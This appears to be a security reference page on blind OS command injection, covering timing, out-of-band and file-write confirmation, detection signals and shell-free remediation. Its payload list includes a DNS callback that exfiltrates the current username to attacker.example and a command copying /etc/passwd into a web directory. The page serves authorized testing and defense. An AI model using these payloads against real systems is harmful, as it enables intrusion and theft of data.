Skip to content

Blind command injection with no visible output

Blind injectionLinux / UnixWindows

Blind command injection is OS command injection where the application's response does not return the injected command's output. Execution still happens; the tester just has to confirm it indirectly — through a time delay, an out-of-band network callback, or an observable side effect such as a written file — rather than by reading the result on screen.

How it works

In a blind scenario the injection point runs the attacker command but discards or hides its stdout. The tester therefore chooses a payload whose effect is observable without reading output: a deliberate delay (timing), an outbound DNS/HTTP request to a server they control (out-of-band), or a change they can later detect (writing a file into a reachable web path).

These three confirmation channels are complementary. Timing works anywhere outbound traffic is blocked; out-of-band is the most reliable when egress is allowed and can also exfiltrate data; a side-effect such as a file write proves execution and often yields a foothold.

Representative payloads

Illustrative fragments for authorized testing. The injected marker commands (id, whoami) are harmless proofs of execution — swap in your engagement’s agreed markers.

  • ; sleep 10

    Linux / UnixDelays the response ~10s if executed. The simplest timing confirmation when no output is returned.

  • & ping -n 11 127.0.0.1

    WindowsWindows timing probe: 11 pings to localhost add ~10s of delay.

  • ; nslookup $(whoami).attacker.example

    Linux / UnixOut-of-band DNS callback that also exfiltrates the current user in the subdomain.

  • ; cp /etc/passwd /var/www/html/p.txt

    Linux / UnixSide-effect confirmation: copies a file somewhere the tester can fetch it over HTTP.

When it works

  • The injection executes but the response omits command output (fire-and-forget calls, background jobs, output sent elsewhere).
  • At least one observable channel exists: the request can block (timing), the host can make outbound requests (OOB), or a reachable path is writable (side effect).

When it fails

  • No shell/exec reaches the input at all (not actually injectable).
  • Egress is blocked, responses are strictly asynchronous, and no writable observable path exists — confirmation becomes very hard.

Detection

Correlate anomalous response latency, unexpected outbound DNS/HTTP from app hosts, and new files in reachable directories with the triggering requests.

Signals to look for

  • Requests whose processing time spikes in line with a sleep/ping value.
  • Outbound DNS or HTTP from an application host to unfamiliar domains right after a request.
  • New or modified files in web-accessible directories not explained by normal operation.

Where to look

Application latency metrics / APMDNS and egress-proxy logsFile-integrity monitoringauditd / Sysmon process creation

Remediation

The correct fix: The fix is the same as for any command injection: run commands shell-free with an argv array and validate inputs — blindness changes detection, not the cure.

Principles

  • Use a shell-free exec API so no injected command can run, visible or not.
  • Restrict outbound network egress from application hosts so an OOB channel can't form.
  • Make web-writable directories non-executable and monitor them.

Safe APIs by runtime

Node.js

execFile/spawn with args array; capture or discard output safely.

execFile("convert", [input, output]);
Python

subprocess.run([...], shell=False); set timeouts.

subprocess.run(["convert", input, output], timeout=30)

Not a fix: Assuming the endpoint is safe because no output is reflected. Blind injection runs the same code; absence of output is not absence of execution.

For the full secure-coding matrix across languages, see the command injection prevention guide.

Frequently asked questions

How do I confirm blind command injection safely?
On authorized tests, prefer a harmless timing payload (sleep/ping) or a DNS callback to infrastructure you control. Avoid destructive commands and keep activity within the engagement's scope and rules.

References

Related techniques